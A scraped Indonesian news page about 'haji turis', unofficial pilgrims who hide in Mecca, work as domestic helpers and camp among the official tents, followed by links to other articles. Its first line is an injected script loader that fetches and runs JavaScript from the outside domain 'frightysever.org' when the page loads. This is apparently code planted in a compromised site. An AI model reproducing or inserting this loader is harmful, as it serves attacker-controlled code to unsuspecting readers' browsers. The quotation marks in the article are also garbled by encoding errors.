(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Selama di ‘tempat persembunyian’, banyak warga yang kemudian juga bekerja sebagai pekerja rumah tangga. Upah selama bekerja, menjadi bekal tambahan para jemaah untuk pulang ke Indonesia. Tapi tak sedikit yang justru memilih bertahan. Alasannya, penghasilan sebagai pembatu di Arab Saudi lebih menggiurkan ketimbang bekerja di negeri sendiri.
“Kebetulan ibu saya sudah lama bekerja sebagai TKI di Mekkah. Juga sebagai haji turis,†kata H Hilmani.
Baru setelah jemaah haji berdatangan, Hilmani dan haji turis lain yang jumlahnya kala itu mencapai belasan orang keluar dan membaur dengan jemaah haji lain. Karena tidak masuk dalam kuota haji resmi, mereka harus mendirikan tenda sendiri di antara tenda-tenda resmi untuk bertahan dari sengatan matahari padang pasir.
“Sebenarnya bukan tenda, hanya bentangan kain yang sengaja dibawa untuk berlindung dari terik matarahari selama tiga hari pelaksanaan rukun dan syarat haji. Dan selama prosesi pelaksanaan haji, tidak akan terdeteksi oleh petugas antara haji resmi atau haji turis,†ujar H Himani. (rudiyanto)
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More
KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More
KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More
KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More
Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More
This website uses cookies.